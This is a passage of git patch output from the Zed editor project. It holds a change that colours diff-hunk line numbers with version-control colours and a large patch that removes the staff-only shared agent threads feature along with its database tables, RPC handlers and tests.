 numbers (#59973)

# Objective

When diff hunks are expanded, reading the line numbers can be a little
hard due to the contrast between `editor.line_number` and both
`editor.diff_hunk.deleted.background` and
`editor.diff_hunk.added.background`. In order to make it easier for
these line numbers to stand out, the actual `version_control` colors,
respective to each diff hunk, can be used to color the line number.

## Solution

Luckily, the line numbers color was already dynamically decided on
`EditorElement::layout_line_numbers` depending on whether the line had a
breakpoint or it was active (part of a selection). The information on
whether the row for which the line was being laid out belonged to a diff
hunk is also already available on the `Gutter::row_infos`.

As such, this change was easy to achieve by simply updating
`EditorElement::layout_line_numbers` to take into consideration each
row's `RowInfo::diff_status` and mapping each status to a
`version_control` color, ignoring the `Modified` variant, as that should
never happen.

## Testing

Manually tested against a repository that has added, deleted and
modified changes. Differences can be seen in the `Showcase` section.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

<details>
  <summary>Before</summary>

<img width="2744" height="2994"
alt="version_control_line_numbers_before"
src="https://github.com/user-attachments/assets/75d160a7-e0cc-4c9d-8fdd-4cab5cc6eefb"
/>
</details>

<details>
  <summary>After</summary>

<img width="2744" height="2994" alt="version_control_line_numbers_after"
src="https://github.com/user-attachments/assets/887fdb6a-34c6-4331-b750-4d3bea6fcd77"
/>
</details>
---

Release Notes:

- Improved line number colors in diff hunks to match the version control
colors
---
 crates/editor/src/element.rs | 52 +++++++++++++++++++++++++++++-------
 1 file changed, 42 insertions(+), 10 deletions(-)

diff --git a/crates/editor/src/element.rs b/crates/editor/src/element.rs
index 897200cdea5367..81ef8b6a9d8472 100644
--- a/crates/editor/src/element.rs
+++ b/crates/editor/src/element.rs
@@ -103,6 +103,40 @@ struct LineHighlightSpec {
     _active_stack_frame: bool,
 }
 
+enum LineNumberStyle {
+    Breakpoint,
+    DiffAdded,
+    DiffDeleted,
+    Active,
+    Inactive,
+}
+
+impl LineNumberStyle {
+    fn new(is_active: bool, is_breakpoint: bool, diff_status: Option<DiffHunkStatus>) -> Self {
+        match (
+            is_active,
+            is_breakpoint,
+            diff_status.map(|status| status.kind),
+        ) {
+            (_, true, _) => Self::Breakpoint,
+            (true, _, _) => Self::Active,
+            (_, _, Some(DiffHunkStatusKind::Added)) => Self::DiffAdded,
+            (_, _, Some(DiffHunkStatusKind::Deleted)) => Self::DiffDeleted,
+            (_, _, _) => Self::Inactive,
+        }
+    }
+
+    fn color(self, colors: &theme::ThemeColors) -> Hsla {
+        match self {
+            Self::Breakpoint => colors.debugger_accent,
+            Self::DiffAdded => colors.version_control_added,
+            Self::DiffDeleted => colors.version_control_deleted,
+            Self::Active => colors.editor_active_line_number,
+            Self::Inactive => colors.editor_line_number,
+        }
+    }
+}
+
 #[derive(Debug)]
 struct SelectionLayout {
     head: DisplayPoint,
@@ -2725,16 +2759,14 @@ impl EditorElement {
                 let number = relative_number.unwrap_or(&non_relative_number);
                 write!(&mut line_number, "{number}").unwrap();
 
-                let color = active_rows
-                    .get(&display_row)
-                    .map(|spec| {
-                        if spec.breakpoint {
-                            cx.theme().colors().debugger_accent
-                        } else {
-                            cx.theme().colors().editor_active_line_number
-                        }
-                    })
-                    .unwrap_or_else(|| cx.theme().colors().editor_line_number);
+                let spec = active_rows.get(&display_row);
+                let color = LineNumberStyle::new(
+                    spec.is_some(),
+                    spec.is_some_and(|spec| spec.breakpoint),
+                    row_info.diff_status,
+                )
+                .color(cx.theme().colors());
+
                 let shaped_line =
                     self.shape_line_number(SharedString::from(&line_number), color, window);
                 let scroll_top =

From 1fd93cbd3460dbd1c112874936055e18ff1111b7 Mon Sep 17 00:00:00 2001
From: Marshall Bowers <git@maxdeviant.com>
Date: Fri, 26 Jun 2026 16:50:37 -0400
Subject: [PATCH 123/772] Unship shared threads (#59981)

This PR unships shared threads.

The feature is not used much and is getting in the way, at this point.

These are only ever made available to staff.

The corresponding database schema migration has been created in the
Cloud repo and applied to the production database.

Release Notes:

- N/A
---
 Procfile.all                                  |   6 -
 crates/agent/src/db.rs                        |  22 --
 crates/agent/src/thread.rs                    |  10 -
 crates/agent/src/thread_store.rs              |   1 -
 crates/agent_ui/src/agent_panel.rs            |   1 -
 crates/agent_ui/src/conversation_view.rs      |   9 +-
 .../src/conversation_view/thread_view.rs      | 154 -------------
 crates/agent_ui/src/thread_metadata_store.rs  |   1 -
 .../20221109000000_test_schema.sql            |  11 -
 .../migrations/20251208000000_test_schema.sql |  17 --
 crates/collab/src/db/queries.rs               |   1 -
 .../collab/src/db/queries/shared_threads.rs   |  76 -------
 crates/collab/src/db/tables.rs                |   1 -
 crates/collab/src/db/tables/shared_thread.rs  |  32 ---
 crates/collab/src/rpc.rs                      |  53 +----
 .../tests/integration/agent_sharing_tests.rs  | 214 ------------------
 .../collab/tests/integration/collab_tests.rs  |   1 -
 .../tests/integration/db_tests/db_tests.rs    | 119 ----------
 crates/feature_flags/src/flags.rs             |   8 -
 crates/proto/proto/ai.proto                   |  17 --
 crates/proto/proto/zed.proto                  |   5 +-
 crates/proto/src/proto.rs                     |   5 -
 crates/zed/src/main.rs                        | 106 +--------
 crates/zed/src/visual_test_runner.rs          |   1 -
 crates/zed/src/zed/open_listener.rs           |  59 -----
 25 files changed, 6 insertions(+), 924 deletions(-)
 delete mode 100644 Procfile.all
 delete mode 100644 crates/collab/src/db/queries/shared_threads.rs
 delete mode 100644 crates/collab/src/db/tables/shared_thread.rs
 delete mode 100644 crates/collab/tests/integration/agent_sharing_tests.rs

diff --git a/Procfile.all b/Procfile.all
deleted file mode 100644
index 264b4f6afc3d6f..00000000000000
--- a/Procfile.all
+++ /dev/null
@@ -1,6 +0,0 @@
-collab: RUST_LOG=${RUST_LOG:-info} cargo run --package=collab serve all
-cloud: cd ../cloud; cargo make dev
-dashboard: cd ../cloud/packages/dashboard; pnpm dev
-website: cd ../zed.dev; pnpm dev --port=3000
-livekit: livekit-server --dev
-blob_store: ./script/run-local-minio
diff --git a/crates/agent/src/db.rs b/crates/agent/src/db.rs
index 6dafddb3c948fa..6d104bd5bd221d 100644
--- a/crates/agent/src/db.rs
+++ b/crates/agent/src/db.rs
@@ -68,8 +68,6 @@ pub struct DbThread {
     #[serde(default)]
     pub profile: Option<AgentProfileId>,
     #[serde(default)]
-    pub imported: bool,
-    #[serde(default)]
     pub subagent_context: Option<crate::SubagentContext>,
     #[serde(default)]
     pub speed: Option<Speed>,
@@ -161,7 +159,6 @@ impl SharedThread {
             request_token_usage: Default::default(),
             model: self.model,
             profile: None,
-            imported: true,
             subagent_context: None,
             speed: None,
             thinking_enabled: false,
@@ -346,7 +343,6 @@ impl DbThread {
             request_token_usage,
             model: thread.model,
             profile: thread.profile,
-            imported: false,
             subagent_context: None,
             speed: None,
             thinking_enabled: false,
@@ -766,23 +762,6 @@ mod tests {
         assert_eq!(restored.updated_at, original.updated_at);
     }
 
-    #[test]
-    fn test_imported_flag_defaults_to_false() {
-        // Simulate deserializing a thread without the imported field (backwards compatibility).
-        let json = r#"{
-            "title": "Old Thread",
-            "messages": [],
-            "updated_at": "2024-01-01T00:00:00Z"
-        }"#;
-
-        let db_thread: DbThread = serde_json::from_str(json).expect("Failed to deserialize");
-
-        assert!(
-            !db_thread.imported,
-            "Legacy threads without imported field should default to false"
-        );
-    }
-
     fn session_id(value: &str) -> acp::SessionId {
         acp::SessionId::new(Arc::<str>::from(value))
     }
@@ -798,7 +777,6 @@ mod tests {
             request_token_usage: HashMap::default(),
             model: None,
             profile: None,
-            imported: false,
             subagent_context: None,
             speed: None,
             thinking_enabled: false,
diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index 41c24431cecc5f..e70a4b2dbb710e 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -1237,8 +1237,6 @@ pub struct Thread {
     pub(crate) prompt_capabilities_rx: watch::Receiver<acp::PromptCapabilities>,
     pub(crate) project: Entity<Project>,
     pub(crate) action_log: Entity<ActionLog>,
-    /// True if this thread was imported from a shared thread and can be synced.
-    imported: bool,
     /// If this is a subagent thread, contains context about the parent
     subagent_context: Option<SubagentContext>,
     /// The user's unsent prompt text, persisted so it can be restored when reloading the thread.
@@ -1376,7 +1374,6 @@ impl Thread {
             prompt_capabilities_rx,
             project,
             action_log,
-            imported: false,
             subagent_context: None,
             draft_prompt: None,
             ui_scroll_position: None,
@@ -1455,11 +1452,6 @@ impl Thread {
         Ok(temp_dir)
     }
 
-    /// Returns true if this thread was imported from a shared thread.
-    pub fn is_imported(&self) -> bool {
-        self.imported
-    }
-
     pub fn replay(
         &mut self,
         cx: &mut Context<Self>,
@@ -1758,7 +1750,6 @@ impl Thread {
             updated_at: db_thread.updated_at,
             prompt_capabilities_tx,
             prompt_capabilities_rx,
-            imported: db_thread.imported,
             subagent_context: db_thread.subagent_context,
             draft_prompt: db_thread.draft_prompt,
             ui_scroll_position: db_thread.ui_scroll_position.map(|sp| gpui::ListOffset {
@@ -1902,7 +1893,6 @@ impl Thread {
             request_token_usage: self.request_token_usage.clone(),
             model: (&self.model).into(),
             profile: Some(self.profile_id.clone()),
-            imported: self.imported,
             subagent_context: self.subagent_context.clone(),
             speed: self.speed,
             thinking_enabled: self.thinking_enabled,
diff --git a/crates/agent/src/thread_store.rs b/crates/agent/src/thread_store.rs
index 97ae2bf5aa2782..c09c2df88fd4b9 100644
--- a/crates/agent/src/thread_store.rs
+++ b/crates/agent/src/thread_store.rs
@@ -160,7 +160,6 @@ mod tests {
             request_token_usage: HashMap::default(),
             model: None,
             profile: None,
-            imported: false,
             subagent_context: None,
             speed: None,
             thinking_enabled: false,
diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index 39507fa45aa0e0..6296d6c70ae878 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -11001,7 +11001,6 @@ mod tests {
             request_token_usage: HashMap::default(),
             model: None,
             profile: None,
-            imported: false,
             subagent_context: None,
             speed: None,
             thinking_enabled: false,
diff --git a/crates/agent_ui/src/conversation_view.rs b/crates/agent_ui/src/conversation_view.rs
index 382ce7362336f2..a5906ebd1a58a3 100644
--- a/crates/agent_ui/src/conversation_view.rs
+++ b/crates/agent_ui/src/conversation_view.rs
@@ -6,9 +6,7 @@ use acp_thread::{
 };
 use acp_thread::{AgentConnection, Plan};
 use action_log::{ActionLog, ActionLogTelemetry, DiffStats};
-use agent::{
-    NativeAgentServer, NativeAgentSessionList, NoModelConfiguredError, SharedThread, ThreadStore,
-};
+use agent::{NativeAgentServer, NoModelConfiguredError, ThreadStore};
 use agent_client_protocol::schema::v1 as acp;
 #[cfg(test)]
 use agent_servers::AgentServerDelegate;
@@ -24,7 +22,6 @@ use editor::scroll::Autoscroll;
 use editor::{
     Editor, EditorEvent, EditorMode, MultiBuffer, PathKey, SelectionEffects, SizingBehavior,
 };
-use feature_flags::{AgentSharingFeatureFlag, FeatureFlagAppExt as _};
 use file_icons::FileIcons;
 use fs::Fs;
 use futures::FutureExt as _;
@@ -70,8 +67,7 @@ use util::{
     time::duration_alt_display,
 };
 use workspace::{
-    CollaboratorId, MultiWorkspace, NewTerminal, PathList, Toast, Workspace,
-    path_link::sanitize_path_text,
+    CollaboratorId, MultiWorkspace, NewTerminal, PathList, Workspace, path_link::sanitize_path_text,
 };
 use zed_actions::agent::{Chat, ToggleModelSelector};
 
@@ -3210,6 +3206,7 @@ pub(crate) mod tests {
     use agent_servers::FakeAcpAgentServer;
     use editor::MultiBufferOffset;
     use editor::actions::Paste;
+    use feature_flags::FeatureFlagAppExt as _;
     use fs::FakeFs;
     use gpui::{ClipboardItem, EventEmitter, TestAppContext, VisualTestContext, point, size};
     use parking_lot::Mutex;
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 94a0e389a6f685..b60446071d855d 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -39,7 +39,6 @@ use ui::{
     ButtonLike, CalloutBorderPosition, SpinnerLabel, SpinnerVariant, SplitButton, SplitButtonStyle,
     Tab,
 };
-use workspace::notifications::NotificationId;
 use workspace::{OpenOptions, SERIALIZATION_THROTTLE_TIME};
 
 use super::*;
@@ -1179,13 +1178,6 @@ impl ThreadView {
         !self.message_queue.is_empty()
     }
 
-    pub fn is_imported_thread(&self, cx: &App) -> bool {
-        let Some(thread) = self.as_native_thread(cx) else {
-            return false;
-        };
-        thread.read(cx).is_imported()
-    }
-
     // events
 
     pub fn handle_entry_view_event(
@@ -2692,124 +2684,6 @@ impl ThreadView {
 
     // thread stuff
 
-    fn share_thread(&mut self, _window: &mut Window, cx: &mut Context<Self>) {
-        let Some((thread, project)) = self.as_native_thread(cx).zip(self.project.upgrade()) else {
-            return;
-        };
-
-        let client = project.read(cx).client();
-        let workspace = self.workspace.clone();
-        let session_id = thread.read(cx).id().to_string();
-
-        let load_task = thread.read(cx).to_db(cx);
-
-        cx.spawn(async move |_this, cx| {
-            let db_thread = load_task.await;
-
-            let shared_thread = SharedThread::from_db_thread(&db_thread);
-            let thread_data = shared_thread.to_bytes()?;
-            let title = shared_thread.title.to_string();
-
-            client
-                .request(proto::ShareAgentThread {
-                    session_id: session_id.clone(),
-                    title,
-                    thread_data,
-                })
-                .await?;
-
-            let share_url = client::zed_urls::shared_agent_thread_url(&session_id);
-
-            cx.update(|cx| {
-                if let Some(workspace) = workspace.upgrade() {
-                    workspace.update(cx, |workspace, cx| {
-                        struct ThreadSharedToast;
-                        workspace.show_toast(
-                            Toast::new(
-                                NotificationId::unique::<ThreadSharedToast>(),
-                                "Thread shared!",
-                            )
-                            .on_click(
-                                "Copy URL",
-                                move |_window, cx| {
-                                    cx.write_to_clipboard(ClipboardItem::new_string(
-                                        share_url.clone(),
-                                    ));
-                                },
-                            ),
-                            cx,
-                        );
-                    });
-                }
-            });
-
-            anyhow::Ok(())
-        })
-        .detach_and_log_err(cx);
-    }
-
-    pub fn sync_thread(
-        &mut self,
-        project: Entity<Project>,
-        server_view: Entity<ConversationView>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        if !self.is_imported_thread(cx) {
-            return;
-        }
-
-        let Some(session_list) = self
-            .as_native_connection(cx)
-            .and_then(|connection| connection.session_list(cx))
-            .and_then(|list| list.downcast::<NativeAgentSessionList>())
-        else {
-            return;
-        };
-        let thread_store = session_list.thread_store().clone();
-
-        let client = project.read(cx).client();
-        let session_id = self.thread.read(cx).session_id().clone();
-        cx.spawn_in(window, async move |this, cx| {
-            let response = client
-                .request(proto::GetSharedAgentThread {
-                    session_id: session_id.to_string(),
-                })
-                .await?;
-
-            let shared_thread = SharedThread::from_bytes(&response.thread_data)?;
-
-            let db_thread = shared_thread.to_db_thread();
-
-            thread_store
-                .update(&mut cx.clone(), |store, cx| {
-                    store.save_thread(session_id.clone(), db_thread, Default::default(), cx)
-                })
-                .await?;
-
-            server_view.update_in(cx, |server_view, window, cx| server_view.reset(window, cx))?;
-
-            this.update_in(cx, |this, _window, cx| {
-                if let Some(workspace) = this.workspace.upgrade() {
-                    workspace.update(cx, |workspace, cx| {
-                        struct ThreadSyncedToast;
-                        workspace.show_toast(
-                            Toast::new(
-                                NotificationId::unique::<ThreadSyncedToast>(),
-                                "Thread synced with latest version",
-                            )
-                            .autohide(),
-                            cx,
-                        );
-                    });
-                }
-            })?;
-
-            anyhow::Ok(())
-        })
-        .detach_and_log_err(cx);
-    }
-
     pub fn restore_checkpoint(&mut self, message_id: &UserMessageId, cx: &mut Context<Self>) {
         self.thread
             .update(cx, |thread, cx| {
@@ -6652,34 +6526,6 @@ impl ThreadView {
                     );
         }
 
-        if let Some(project) = self.project.upgrade()
-            && let Some(server_view) = self.server_view.upgrade()
-            && cx.has_flag::<AgentSharingFeatureFlag>()
-            && project.read(cx).client().status().borrow().is_connected()
-        {
-            let button = if self.is_imported_thread(cx) {
-                IconButton::new("sync-thread", IconName::ArrowCircle)
-                    .shape(ui::IconButtonShape::Square)
-                    .icon_size(IconSize::Small)
-                    .icon_color(Color::Ignored)
-                    .tooltip(Tooltip::text("Sync with source thread"))
-                    .on_click(cx.listener(move |this, _, window, cx| {
-                        this.sync_thread(project.clone(), server_view.clone(), window, cx);
-                    }))
-            } else {
-                IconButton::new("share-thread", IconName::ArrowUpRight)
-                    .shape(ui::IconButtonShape::Square)
-                    .icon_size(IconSize::Small)
-                    .icon_color(Color::Ignored)
-                    .tooltip(Tooltip::text("Share Thread"))
-                    .on_click(cx.listener(move |this, _, window, cx| {
-                        this.share_thread(window, cx);
-                    }))
-            };
-
-            container = container.child(button);
-        }
-
         container
             .child(open_as_markdown)
             .child(scroll_to_recent_user_prompt)
diff --git a/crates/agent_ui/src/thread_metadata_store.rs b/crates/agent_ui/src/thread_metadata_store.rs
index 1f0b0eb46d3270..eb840eb5791c6b 100644
--- a/crates/agent_ui/src/thread_metadata_store.rs
+++ b/crates/agent_ui/src/thread_metadata_store.rs
@@ -1844,7 +1844,6 @@ mod tests {
             request_token_usage: Default::default(),
             model: None,
             profile: None,
-            imported: false,
             subagent_context: None,
             speed: None,
             thinking_enabled: false,
diff --git a/crates/collab/migrations.sqlite/20221109000000_test_schema.sql b/crates/collab/migrations.sqlite/20221109000000_test_schema.sql
index 730c3da9990393..98a7053ff271e1 100644
--- a/crates/collab/migrations.sqlite/20221109000000_test_schema.sql
+++ b/crates/collab/migrations.sqlite/20221109000000_test_schema.sql
@@ -432,14 +432,3 @@ CREATE TABLE IF NOT EXISTS "breakpoints" (
 );
 
 CREATE INDEX "index_breakpoints_on_project_id" ON "breakpoints" ("project_id");
-
-CREATE TABLE IF NOT EXISTS "shared_threads" (
-    "id" TEXT PRIMARY KEY NOT NULL,
-    "user_id" INTEGER NOT NULL,
-    "title" VARCHAR(512) NOT NULL,
-    "data" BLOB NOT NULL,
-    "created_at" TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
-    "updated_at" TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP
-);
-
-CREATE INDEX "index_shared_threads_user_id" ON "shared_threads" ("user_id");
diff --git a/crates/collab/migrations/20251208000000_test_schema.sql b/crates/collab/migrations/20251208000000_test_schema.sql
index 8b136c347ae82d..1e3cdaf66915d4 100644
--- a/crates/collab/migrations/20251208000000_test_schema.sql
+++ b/crates/collab/migrations/20251208000000_test_schema.sql
@@ -410,15 +410,6 @@ CREATE SEQUENCE public.servers_id_seq
 
 ALTER SEQUENCE public.servers_id_seq OWNED BY public.servers.id;
 
-CREATE TABLE public.shared_threads (
-    id uuid NOT NULL,
-    user_id integer NOT NULL,
-    title text NOT NULL,
-    data bytea NOT NULL,
-    created_at timestamp without time zone DEFAULT now() NOT NULL,
-    updated_at timestamp without time zone DEFAULT now() NOT NULL
-);
-
 CREATE TABLE public.users (
     id integer NOT NULL,
     admin boolean NOT NULL,
@@ -598,9 +589,6 @@ ALTER TABLE ONLY public.rooms
 ALTER TABLE ONLY public.servers
     ADD CONSTRAINT servers_pkey PRIMARY KEY (id);
 
-ALTER TABLE ONLY public.shared_threads
-    ADD CONSTRAINT shared_threads_pkey PRIMARY KEY (id);
-
 ALTER TABLE ONLY public.users
     ADD CONSTRAINT users_pkey PRIMARY KEY (id);
 
@@ -616,8 +604,6 @@ ALTER TABLE ONLY public.worktree_settings_files
 ALTER TABLE ONLY public.worktrees
     ADD CONSTRAINT worktrees_pkey PRIMARY KEY (project_id, id);
 
-CREATE INDEX idx_shared_threads_user_id ON public.shared_threads USING btree (user_id);
-
 CREATE INDEX index_breakpoints_on_project_id ON public.breakpoints USING btree (project_id);
 
 CREATE INDEX index_buffers_on_channel_id ON public.buffers USING btree (channel_id);
@@ -830,9 +816,6 @@ ALTER TABLE ONLY public.room_participants
 ALTER TABLE ONLY public.rooms
     ADD CONSTRAINT rooms_channel_id_fkey FOREIGN KEY (channel_id) REFERENCES public.channels(id) ON DELETE CASCADE;
 
-ALTER TABLE ONLY public.shared_threads
-    ADD CONSTRAINT shared_threads_user_id_fkey FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
-
 ALTER TABLE ONLY public.worktree_diagnostic_summaries
     ADD CONSTRAINT worktree_diagnostic_summaries_project_id_worktree_id_fkey FOREIGN KEY (project_id, worktree_id) REFERENCES public.worktrees(project_id, id) ON DELETE CASCADE;
 
diff --git a/crates/collab/src/db/queries.rs b/crates/collab/src/db/queries.rs
index a7d41adb685107..5b39661303bad4 100644
--- a/crates/collab/src/db/queries.rs
+++ b/crates/collab/src/db/queries.rs
@@ -9,5 +9,4 @@ pub mod notifications;
 pub mod projects;
 pub mod rooms;
 pub mod servers;
-pub mod shared_threads;
 pub mod users;
diff --git a/crates/collab/src/db/queries/shared_threads.rs b/crates/collab/src/db/queries/shared_threads.rs
deleted file mode 100644
index 9cb320d45d46bc..00000000000000
--- a/crates/collab/src/db/queries/shared_threads.rs
+++ /dev/null
@@ -1,76 +0,0 @@
-use chrono::Utc;
-
-use super::*;
-use crate::db::tables::shared_thread;
-
-impl Database {
-    pub async fn upsert_shared_thread(
-        &self,
-        id: SharedThreadId,
-        user_id: UserId,
-        title: &str,
-        data: Vec<u8>,
-    ) -> Result<()> {
-        let title = title.to_string();
-        self.transaction(|tx| {
-            let title = title.clone();
-            let data = data.clone();
-            async move {
-                let now = Utc::now().naive_utc();
-
-                let existing = shared_thread::Entity::find_by_id(id).one(&*tx).await?;
-
-                match existing {
-                    Some(existing) => {
-                        if existing.user_id != user_id {
-                            Err(anyhow!("Cannot update shared thread owned by another user"))?;
-                        }
-
-                        let mut active: shared_thread::ActiveModel = existing.into();
-                        active.title = ActiveValue::Set(title);
-                        active.data = ActiveValue::Set(data);
-                        active.updated_at = ActiveValue::Set(now);
-                        active.update(&*tx).await?;
-                    }
-                    None => {
-                        shared_thread::ActiveModel {
-                            id: ActiveValue::Set(id),
-                            user_id: ActiveValue::Set(user_id),
-                            title: ActiveValue::Set(title),
-                            data: ActiveValue::Set(data),
-                            created_at: ActiveValue::Set(now),
-                            updated_at: ActiveValue::Set(now),
-                        }
-                        .insert(&*tx)
-                        .await?;
-                    }
-                }
-
-                Ok(())
-            }
-        })
-        .await
-    }
-
-    pub async fn get_shared_thread(
-        &self,
-        share_id: SharedThreadId,
-    ) -> Result<Option<(shared_thread::Model, String)>> {
-        self.transaction(|tx| async move {
-            let Some(thread) = shared_thread::Entity::find_by_id(share_id)
-                .one(&*tx)
-                .await?
-            else {
-                return Ok(None);
-            };
-
-            // We can no longer read the `github_login` from Collab.
-            //
-            // Opting to just use "Unknown" here, as the feature is staff-only and infrequently used.
-            let username = "Unknown".to_string();
-
-            Ok(Some((thread, username)))
-        })
-        .await
-    }
-}
diff --git a/crates/collab/src/db/tables.rs b/crates/collab/src/db/tables.rs
index 83be94dac57d04..6a1a2db4364aeb 100644
--- a/crates/collab/src/db/tables.rs
+++ b/crates/collab/src/db/tables.rs
@@ -21,7 +21,6 @@ pub mod project_repository_statuses;
 pub mod room;
 pub mod room_participant;
 pub mod server;
-pub mod shared_thread;
 pub mod user;
 pub mod worktree;
 pub mod worktree_diagnostic_summary;
diff --git a/crates/collab/src/db/tables/shared_thread.rs b/crates/collab/src/db/tables/shared_thread.rs
deleted file mode 100644
index 6969a6e69ea45c..00000000000000
--- a/crates/collab/src/db/tables/shared_thread.rs
+++ /dev/null
@@ -1,32 +0,0 @@
-use crate::db::{SharedThreadId, UserId};
-use sea_orm::entity::prelude::*;
-
-#[derive(Clone, Debug, PartialEq, Eq, DeriveEntityModel)]
-#[sea_orm(table_name = "shared_threads")]
-pub struct Model {
-    #[sea_orm(primary_key, auto_increment = false)]
-    pub id: SharedThreadId,
-    pub user_id: UserId,
-    pub title: String,
-    pub data: Vec<u8>,
-    pub created_at: DateTime,
-    pub updated_at: DateTime,
-}
-
-#[derive(Copy, Clone, Debug, EnumIter, DeriveRelation)]
-pub enum Relation {
-    #[sea_orm(
-        belongs_to = "super::user::Entity",
-        from = "Column::UserId",
-        to = "super::user::Column::Id"
-    )]
-    User,
-}
-
-impl Related<super::user::Entity> for Entity {
-    fn to() -> RelationDef {
-        Relation::User.def()
-    }
-}
-
-impl ActiveModelBehavior for ActiveModel {}
diff --git a/crates/collab/src/rpc.rs b/crates/collab/src/rpc.rs
index a591e1a57a2135..e74aea147dabb3 100644
--- a/crates/collab/src/rpc.rs
+++ b/crates/collab/src/rpc.rs
@@ -7,8 +7,7 @@ use crate::{
     db::{
         self, BufferId, Capability, Channel, ChannelId, ChannelRole, ChannelsForUser, Database,
         InviteMemberResult, MembershipUpdated, NotificationId, ProjectId, RejoinedProject,
-        RemoveChannelMemberResult, RespondToChannelInvite, RoomId, ServerId, SharedThreadId,
-        UserId,
+        RemoveChannelMemberResult, RespondToChannelInvite, RoomId, ServerId, UserId,
     },
     executor::Executor,
 };
@@ -512,8 +511,6 @@ impl Server {
             .add_request_handler(forward_mutating_project_request::<proto::CheckForPushedCommits>)
             .add_request_handler(forward_mutating_project_request::<proto::ToggleLspLogs>)
             .add_message_handler(broadcast_project_message_from_host::<proto::LanguageServerLog>)
-            .add_request_handler(share_agent_thread)
-            .add_request_handler(get_shared_agent_thread)
             .add_request_handler(forward_project_search_chunk);
 
         Arc::new(server)
@@ -4152,54 +4149,6 @@ fn project_left(project: &db::LeftProject, session: &Session) {
     }
 }
 
-async fn share_agent_thread(
-    request: proto::ShareAgentThread,
-    response: Response<proto::ShareAgentThread>,
-    session: MessageContext,
-) -> Result<()> {
-    let user_id = session.user_id();
-
-    let share_id = SharedThreadId::from_proto(request.session_id.clone())
-        .ok_or_else(|| anyhow!("Invalid session ID format"))?;
-
-    session
-        .db()
-        .await
-        .upsert_shared_thread(share_id, user_id, &request.title, request.thread_data)
-        .await?;
-
-    response.send(proto::Ack {})?;
-
-    Ok(())
-}
-
-async fn get_shared_agent_thread(
-    request: proto::GetSharedAgentThread,
-    response: Response<proto::GetSharedAgentThread>,
-    session: MessageContext,
-) -> Result<()> {
-    let share_id = SharedThreadId::from_proto(request.session_id)
-        .ok_or_else(|| anyhow!("Invalid session ID format"))?;
-
-    let result = session.db().await.get_shared_thread(share_id).await?;
-
-    match result {
-        Some((thread, username)) => {
-            response.send(proto::GetSharedAgentThreadResponse {
-                title: thread.title,
-                thread_data: thread.data,
-                sharer_username: username,
-                created_at: thread.created_at.and_utc().to_rfc3339(),
-            })?;
-        }
-        None => {
-            return Err(anyhow!("Shared thread not found").into());
-        }
-    }
-
-    Ok(())
-}
-
 pub trait ResultExt {
     type Ok;
 
diff --git a/crates/collab/tests/integration/agent_sharing_tests.rs b/crates/collab/tests/integration/agent_sharing_tests.rs
deleted file mode 100644
index e186a7af642114..00000000000000
--- a/crates/collab/tests/integration/agent_sharing_tests.rs
+++ /dev/null
@@ -1,214 +0,0 @@
-use agent::SharedThread;
-use gpui::{BackgroundExecutor, TestAppContext};
-use rpc::proto;
-use uuid::Uuid;
-
-use crate::TestServer;
-
-#[gpui::test]
-async fn test_share_and_retrieve_thread(
-    executor: BackgroundExecutor,
-    cx_a: &mut TestAppContext,
-    cx_b: &mut TestAppContext,
-) {
-    let mut server = TestServer::start(executor.clone()).await;
-    let client_a = server.create_client(cx_a, "user_a").await;
-    let client_b = server.create_client(cx_b, "user_b").await;
-
-    executor.run_until_parked();
-
-    let session_id = Uuid::new_v4().to_string();
-
-    let original_thread = SharedThread {
-        title: "Shared Test Thread".into(),
-        messages: vec![],
-        updated_at: chrono::Utc::now(),
-        model: None,
-        version: SharedThread::VERSION.to_string(),
-    };
-
-    let thread_data = original_thread
-        .to_bytes()
-        .expect("Failed to serialize thread");
-
-    client_a
-        .client()
-        .request(proto::ShareAgentThread {
-            session_id: session_id.clone(),
-            title: original_thread.title.to_string(),
-            thread_data,
-        })
-        .await
-        .expect("Failed to share thread");
-
-    let get_response = client_b
-        .client()
-        .request(proto::GetSharedAgentThread {
-            session_id: session_id.clone(),
-        })
-        .await
-        .expect("Failed to get shared thread");
-
-    let imported_shared_thread =
-        SharedThread::from_bytes(&get_response.thread_data).expect("Failed to deserialize thread");
-
-    assert_eq!(imported_shared_thread.title, original_thread.title);
-    assert_eq!(imported_shared_thread.version, SharedThread::VERSION);
-
-    let db_thread = imported_shared_thread.to_db_thread();
-
-    assert!(
-        db_thread.title.starts_with("🔗"),
-        "Imported thread title should have link prefix"
-    );
-    assert!(
-        db_thread.title.contains("Shared Test Thread"),
-        "Imported thread should preserve original title"
-    );
-}
-
-#[gpui::test]
-async fn test_reshare_updates_existing_thread(
-    executor: BackgroundExecutor,
-    cx_a: &mut TestAppContext,
-    cx_b: &mut TestAppContext,
-) {
-    let mut server = TestServer::start(executor.clone()).await;
-    let client_a = server.create_client(cx_a, "user_a").await;
-    let client_b = server.create_client(cx_b, "user_b").await;
-
-    executor.run_until_parked();
-
-    let session_id = Uuid::new_v4().to_string();
-
-    client_a
-        .client()
-        .request(proto::ShareAgentThread {
-            session_id: session_id.clone(),
-            title: "Original Title".to_string(),
-            thread_data: b"original data".to_vec(),
-        })
-        .await
-        .expect("Failed to share thread");
-
-    client_a
-        .client()
-        .request(proto::ShareAgentThread {
-            session_id: session_id.clone(),
-            title: "Updated Title".to_string(),
-            thread_data: b"updated data".to_vec(),
-        })
-        .await
-        .expect("Failed to re-share thread");
-
-    let get_response = client_b
-        .client()
